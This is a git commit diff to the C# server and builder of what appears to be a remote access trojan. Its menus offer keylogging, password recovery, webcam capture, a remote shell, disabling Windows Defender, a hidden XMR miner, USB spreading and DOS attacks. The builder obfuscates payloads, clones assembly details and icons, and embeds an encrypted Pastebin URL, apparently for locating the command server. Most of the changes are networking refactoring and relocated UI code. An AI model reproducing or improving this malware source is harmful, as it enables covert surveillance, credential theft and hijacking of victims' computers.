This commit is contained in:
NYAN CAT 2019-12-01 06:43:06 +03:00
parent 154f4b4123
commit 83fcab04fb
17 changed files with 232 additions and 149 deletions

View File

@ -24,7 +24,7 @@
<value />
</setting>
<setting name="Pastebin" serializeAs="String">
<value />
<value>https://pastebin.com/raw/s14cUU5G</value>
</setting>
<setting name="IP" serializeAs="String">
<value />

View File

@ -23,6 +23,7 @@ namespace Server.Connection
public ListViewItem LV2 { get; set; }
public string ID { get; set; }
private byte[] ClientBuffer { get; set; }
private const int HeaderSize = 4;
private int ClientBuffersize { get; set; }
private bool ClientBufferRecevied { get; set; }
private MemoryStream ClientMS { get; set; }
@ -42,19 +43,18 @@ namespace Server.Connection
try
{
SslClient.EndAuthenticateAsServer(ar);
ClientBuffer = new byte[4];
ClientBuffer = new byte[HeaderSize];
ClientMS = new MemoryStream();
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}
catch
{
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
SslClient?.Dispose();
TcpClient?.Dispose();
}
}
public async void ReadClientData(IAsyncResult ar)
public void ReadClientData(IAsyncResult ar)
{
try
{
@ -68,10 +68,12 @@ namespace Server.Connection
int Recevied = SslClient.EndRead(ar);
if (Recevied > 0)
{
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
if (!ClientBufferRecevied)
switch (ClientBufferRecevied)
{
if (ClientMS.Length == 4)
case false:
{
ClientMS.Write(ClientBuffer, 0, Recevied);
if (ClientMS.Length == HeaderSize)
{
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
@ -83,10 +85,14 @@ namespace Server.Connection
ClientBufferRecevied = true;
}
}
break;
}
else
case true:
{
Settings.Received += Recevied;
ClientMS.Write(ClientBuffer, 0, Recevied);
lock (Settings.LockReceivedSendValue)
Settings.ReceivedValue += Recevied;
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
@ -97,11 +103,13 @@ namespace Server.Connection
data = ClientMS.ToArray(),
}.Read, null);
ClientBuffer = new byte[4];
ClientBuffer = new byte[HeaderSize];
ClientMS.Dispose();
ClientMS = new MemoryStream();
ClientBufferRecevied = false;
}
break;
}
}
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
}
@ -184,7 +192,8 @@ namespace Server.Connection
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
Settings.Sent += chunk.Length;
lock (Settings.LockReceivedSendValue)
Settings.SentValue += chunk.Length;
} while (bytesToRead > 0);
}
}
@ -192,7 +201,8 @@ namespace Server.Connection
{
SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush();
Settings.Sent += buffer.Length;
lock (Settings.LockReceivedSendValue)
Settings.SentValue += buffer.Length;
}
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
}
@ -216,7 +226,7 @@ namespace Server.Connection
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
break;
}
}

View File

@ -74,6 +74,8 @@
this.chatToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -127,8 +129,6 @@
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
this.TimerTask = new System.Windows.Forms.Timer(this.components);
this.runToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuClient.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout();
@ -245,20 +245,20 @@
this.toolStripSeparator5,
this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(249, 311);
this.contextMenuClient.Size = new System.Drawing.Size(203, 278);
//
// aBOUTToolStripMenuItem
//
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(245, 6);
this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6);
//
// sENDFILEToolStripMenuItem
//
@ -267,14 +267,14 @@
this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File";
//
// tOMEMORYToolStripMenuItem
//
this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
this.tOMEMORYToolStripMenuItem.Text = "To Memory";
this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
//
@ -282,7 +282,7 @@
//
this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34);
this.tODISKToolStripMenuItem.Text = "To Disk";
this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
//
@ -298,14 +298,14 @@
this.webcamToolStripMenuItem});
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring";
//
// remoteDesktopToolStripMenuItem1
//
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
//
@ -313,7 +313,7 @@
//
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.keyloggerToolStripMenuItem1.Text = "Keylogger";
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
//
@ -321,7 +321,7 @@
//
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
//
@ -329,7 +329,7 @@
//
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.fileManagerToolStripMenuItem1.Text = "File Manager";
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
//
@ -337,7 +337,7 @@
//
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34);
this.processManagerToolStripMenuItem1.Text = "Process Manager";
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
//
@ -348,7 +348,7 @@
this.stopToolStripMenuItem2});
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
this.reportWindowToolStripMenuItem.Text = "Report Window";
//
// runToolStripMenuItem1
@ -369,7 +369,7 @@
//
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34);
this.webcamToolStripMenuItem.Text = "Webcam";
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
//
@ -385,14 +385,14 @@
this.xMRMinerToolStripMenuItem});
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
//
// botsKillerToolStripMenuItem
//
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
//
@ -400,7 +400,7 @@
//
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
//
@ -408,7 +408,7 @@
//
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
//
@ -416,7 +416,7 @@
//
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
//
@ -424,7 +424,7 @@
//
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
//
@ -432,7 +432,7 @@
//
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
//
@ -443,14 +443,14 @@
this.killToolStripMenuItem});
this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr;
this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem";
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34);
this.xMRMinerToolStripMenuItem.Text = "XMR Miner";
//
// runToolStripMenuItem
//
this.runToolStripMenuItem.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem.Name = "runToolStripMenuItem";
this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
this.runToolStripMenuItem.Text = "Run";
this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click);
//
@ -458,7 +458,7 @@
//
this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_;
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34);
this.killToolStripMenuItem.Text = "Stop";
this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click);
//
@ -473,7 +473,7 @@
this.disableWindowsDefenderToolStripMenuItem});
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.extraToolStripMenuItem.Text = "Extra";
//
// visitWebsiteToolStripMenuItem1
@ -518,6 +518,22 @@
this.blankScreenToolStripMenuItem.Size = new System.Drawing.Size(329, 34);
this.blankScreenToolStripMenuItem.Text = "Blank Screen";
//
// runToolStripMenuItem2
//
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
this.runToolStripMenuItem2.Size = new System.Drawing.Size(152, 34);
this.runToolStripMenuItem2.Text = "Run";
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
//
// stopToolStripMenuItem1
//
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(152, 34);
this.stopToolStripMenuItem1.Text = "Stop";
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
//
// disableWindowsDefenderToolStripMenuItem
//
this.disableWindowsDefenderToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
@ -533,7 +549,7 @@
this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.systemToolStripMenuItem.Text = "System";
//
// clientToolStripMenuItem
@ -547,7 +563,7 @@
this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.clientToolStripMenuItem.Text = "Client";
//
// closeToolStripMenuItem1
@ -598,7 +614,7 @@
this.shutdownToolStripMenuItem1});
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC";
//
// logoffToolStripMenuItem1
@ -625,7 +641,7 @@
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(245, 6);
this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6);
//
// serverToolStripMenuItem
//
@ -633,27 +649,27 @@
this.blockClientsToolStripMenuItem});
this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server;
this.serverToolStripMenuItem.Name = "serverToolStripMenuItem";
this.serverToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.serverToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.serverToolStripMenuItem.Text = "Server";
//
// blockClientsToolStripMenuItem
//
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.blockClientsToolStripMenuItem.Text = "Block Clients";
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
//
// toolStripSeparator5
//
this.toolStripSeparator5.Name = "toolStripSeparator5";
this.toolStripSeparator5.Size = new System.Drawing.Size(245, 6);
this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6);
//
// bUILDERToolStripMenuItem
//
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(248, 32);
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
//
@ -908,14 +924,14 @@
//
this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1";
this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
this.minerToolStripMenuItem1.Text = "Miner XMR";
this.minerToolStripMenuItem1.Text = "XMR MINER";
this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click);
//
// uPDATEToolStripMenuItem1
//
this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1";
this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
this.uPDATEToolStripMenuItem1.Text = "UPDATE";
this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS";
this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click);
//
// toolStripSeparator4
@ -953,22 +969,6 @@
this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
//
// runToolStripMenuItem2
//
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
this.runToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.runToolStripMenuItem2.Text = "Run";
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
//
// stopToolStripMenuItem1
//
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.stopToolStripMenuItem1.Text = "Stop";
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);

View File

@ -278,7 +278,7 @@ namespace Server
{
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
lock (Settings.LockListviewClients)
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.SentValue).ToString()} Received {Methods.BytesToString(Settings.ReceivedValue).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
}
#endregion

View File

@ -51,6 +51,8 @@ namespace Server.Forms
this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.groupBox3 = new System.Windows.Forms.GroupBox();
this.numDelay = new System.Windows.Forms.NumericUpDown();
this.label16 = new System.Windows.Forms.Label();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.chkBdos = new System.Windows.Forms.CheckBox();
this.txtMutex = new System.Windows.Forms.TextBox();
@ -63,6 +65,7 @@ namespace Server.Forms
this.tabPage3 = new System.Windows.Forms.TabPage();
this.tabPage4 = new System.Windows.Forms.TabPage();
this.groupBox4 = new System.Windows.Forms.GroupBox();
this.btnClone = new System.Windows.Forms.Button();
this.btnAssembly = new System.Windows.Forms.CheckBox();
this.txtFileVersion = new System.Windows.Forms.TextBox();
this.txtProductVersion = new System.Windows.Forms.TextBox();
@ -85,15 +88,15 @@ namespace Server.Forms
this.chkIcon = new System.Windows.Forms.CheckBox();
this.label15 = new System.Windows.Forms.Label();
this.txtIcon = new System.Windows.Forms.TextBox();
this.btnIcon = new System.Windows.Forms.Button();
this.picIcon = new System.Windows.Forms.PictureBox();
this.tabPage6 = new System.Windows.Forms.TabPage();
this.chkObfu = new System.Windows.Forms.CheckBox();
this.btnBuild = new System.Windows.Forms.Button();
this.btnClone = new System.Windows.Forms.Button();
this.btnIcon = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.tabControl1.SuspendLayout();
this.tabPage1.SuspendLayout();
@ -323,6 +326,8 @@ namespace Server.Forms
//
// groupBox3
//
this.groupBox3.Controls.Add(this.numDelay);
this.groupBox3.Controls.Add(this.label16);
this.groupBox3.Controls.Add(this.pictureBox1);
this.groupBox3.Controls.Add(this.chkBdos);
this.groupBox3.Controls.Add(this.txtMutex);
@ -335,6 +340,37 @@ namespace Server.Forms
this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC";
//
// numDelay
//
this.numDelay.Location = new System.Drawing.Point(19, 165);
this.numDelay.Maximum = new decimal(new int[] {
999,
0,
0,
0});
this.numDelay.Minimum = new decimal(new int[] {
2,
0,
0,
0});
this.numDelay.Name = "numDelay";
this.numDelay.Size = new System.Drawing.Size(84, 26);
this.numDelay.TabIndex = 15;
this.numDelay.Value = new decimal(new int[] {
30,
0,
0,
0});
//
// label16
//
this.label16.AutoSize = true;
this.label16.Location = new System.Drawing.Point(15, 133);
this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(123, 20);
this.label16.TabIndex = 14;
this.label16.Text = "Delay (seconds)";
//
// pictureBox1
//
this.pictureBox1.Image = global::Server.Properties.Resources.uac;
@ -358,16 +394,16 @@ namespace Server.Forms
// txtMutex
//
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtMutex.Location = new System.Drawing.Point(106, 165);
this.txtMutex.Location = new System.Drawing.Point(19, 251);
this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(271, 26);
this.txtMutex.Size = new System.Drawing.Size(301, 26);
this.txtMutex.TabIndex = 11;
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
//
// label5
//
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(14, 169);
this.label5.Location = new System.Drawing.Point(15, 219);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(52, 20);
this.label5.TabIndex = 10;
@ -469,6 +505,17 @@ namespace Server.Forms
this.groupBox4.TabStop = false;
this.groupBox4.Text = "Assembly Information";
//
// btnClone
//
this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true;
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
//
// btnAssembly
//
this.btnAssembly.AutoSize = true;
@ -685,6 +732,17 @@ namespace Server.Forms
this.txtIcon.Size = new System.Drawing.Size(447, 26);
this.txtIcon.TabIndex = 6;
//
// btnIcon
//
this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true;
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
//
// picIcon
//
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
@ -729,28 +787,6 @@ namespace Server.Forms
this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
//
// btnClone
//
this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true;
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
//
// btnIcon
//
this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true;
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
//
// FormBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -768,6 +804,7 @@ namespace Server.Forms
this.groupBox2.PerformLayout();
this.groupBox3.ResumeLayout(false);
this.groupBox3.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numDelay)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.tabControl1.ResumeLayout(false);
this.tabPage1.ResumeLayout(false);
@ -848,5 +885,7 @@ namespace Server.Forms
private System.Windows.Forms.CheckBox chkObfu;
private System.Windows.Forms.Button btnClone;
private System.Windows.Forms.Button btnIcon;
private System.Windows.Forms.NumericUpDown numDelay;
private System.Windows.Forms.Label label16;
}
}

View File

@ -443,6 +443,9 @@ namespace Server.Forms
method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
else
method.Body.Instructions[i].Operand = aes.Encrypt("null");
if (method.Body.Instructions[i].Operand.ToString() == "%Delay%")
method.Body.Instructions[i].Operand = numDelay.Value.ToString();
}
}
}

View File

@ -56,7 +56,8 @@ namespace Server.Forms
}
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
